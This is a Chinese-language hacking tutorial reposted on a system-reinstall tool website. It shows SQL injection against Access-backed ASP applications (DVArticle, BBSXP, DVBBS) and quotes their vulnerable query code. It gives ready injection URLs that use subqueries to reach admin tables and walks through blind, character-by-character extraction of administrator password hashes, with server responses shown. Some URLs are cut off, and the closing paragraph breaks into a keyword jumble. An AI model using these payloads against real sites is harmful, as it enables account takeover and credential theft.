• 微软原版系统

  • 一键重装系统

  • 纯净系统

  • 在线技术客服

魔法猪系统重装大师 一键在线制作启动 U 盘 PE 系统 用一键重装的魔法拯救失去灵魂的系统
当前位置:首页 > 教程 > 电脑教程

Sql Injection with Access

时间:2015年04月02日 12:02:21    来源:魔法猪系统重装大师官网    人气:19243
>>>Dedicated This Scrap To CaoJing<<< 

很多朋友在ACCESS下进行SQL注入攻击的时候,总会抱怨:ACCESS功能太弱了,没有注释符、不支持多语句查询...另一方面,很多程序员在使用ACCESS做数据库写程序时,往往只对那些对敏感表的操作代码执行严格审查,而其他一些表的操作代码就很粗糙了。这只能说我们对ACCESS了解太少了,前不久我有幸看到了一个专门的ACCESS站点,其论坛划分了很多版块,竟然全是和ACCESS有关的;原来这里头的学问还蛮多的,我等只是略懂皮毛而已。小弟愚笨,没能力写概览型的文章,还是通过几个例子来向大家说明些问题: 

一:动网文章 

涉及版本: 
^^^^^^^^^^ 
动网文章所有版本 

描述: 
^^^^^^ 
动网文章是一款由WWW.ASPSKY.NET开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。 

具体: 
^^^^^^ 
试看list.asp中的相关代码: 
15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id") 

id没有经任何检查就直接放到SQL查询中,这点大家都很容易看出来,但说到利用,一些朋友就可是犯难了:这个语句对应的表是 article ,但管理密码在 admin 表里面,ACCESS又不能执行多语句查询,这个bug有什么用啊?呵呵,我们使用子查询不就得了,方法好多哦: 

http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and exists (select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and article.articleID  in (select top 1 id from admin where len(password)>1 order by id) 
等等... 

怎么得到管理员密码就不用我废话了吧:) 

二:BBSXP 

涉及版本: 
^^^^^^^^^^ 
BBSXP所有版本 

描述: 
^^^^^^ 
BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。 

具体: 
^^^^^^ 
前不久我写了篇关于BBSXP漏洞的文章,作者简单的把论坛升了级,但仍然没有全面解决Sql Injection的问题,比如说: 
bank.asp 
------------------------------------------------------------------------------- 
152  sql="select * from user where username='"&request("dxname")&"'" 
153  rs1.Open sql,Conn,1,3 
154  if rs1.eof then 
155  message=message&"
  • 查无此人的账号!" 
    156  end if 
    ------------------------------------------------------------------------------- 
    呵呵,拿user表中所有用户密码没问题了,但又有人开始嘀咕了:BBSXP后台管理密码和论坛前台密码不同,怎么办啊? 
    后台密码存放在 clubconfig 表中,还是和上面利用方法一样,使用子查询嘛。 
    还给个例子吧: 
    searchok.asp 
    ------------------------------------------------------------------------------- 
    forumid=Request("forumid") 
    ... 
    21  if Request("forumid")<>"" then 
    22  forumidor="forumid="&forumid&" and" 
    end if 
    ... 
    sql="select * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc  " 
    ... 
    ------------------------------------------------------------------------------- 
    提交类似如下URL(最好写个小代码发送这个请求): 
    http://www.target.com/bbsxp165/b ... dminpassword)>1) 
    瞧,我们这不是开始对 clubconfig 表进行查询了吗? 

    三:动网论坛(DVBBS)存在严重漏洞(补充) 
    这个漏洞我公布后,就有好多朋友给我写信,有的问怎么破解MD5(有破解的必要吗?)、有的要测试代码、还有的要我做个动画...同时也有人说后台管理密码和论坛前台密码不同,怎么拿后台的?我猜这些朋友自己没怎么思考,思考应该是种很美的享受吧? 
    我补充下怎么拿后台MD5加密的管理密码: 

    http://www.target.com/dv/tongji. ... id)%20from%20admin), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('9');document.write(' 
    ');document.write('□');document.write('9');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 

    http://www.target.com/dv/tongji. ... ere%20left(password,1)='a'), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('');document.write(' 
    ');document.write('□');document.write('');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 
    啊,为空,我们猜错了,再来: 

    http://www.target.com/dv/tongji. ... ere%20left(password,1)='d'), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('9');document.write(' 
    ');document.write('□');document.write('9');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 
    哈哈,这下猜对了。 
    接下来由你继续,当然,你可以把我以前写的那个小程序稍微修改后再放到这里使用! 

    不过我要提醒你,DVBBS后台管理文件是cookie+session双重认证哦! 

    后记:我到一个原代码下载站随机down了一些程序,包括论坛、留言本、文章下载管理...发现都存在类似的问题。其实只要我们 Sql,Injection,with,Access,Dedi
  • 栏目:电脑教程 阅读:1000 2023/12/27
    Win7教程 更多>>
    U盘教程 更多>>
    Win10教程 更多>>
    魔法猪学院 更多>>

    Copyright © 2015-2023 魔法猪 魔法猪系统重装大师

    本站发布的系统仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件。

    在线客服 查看微信 返回顶部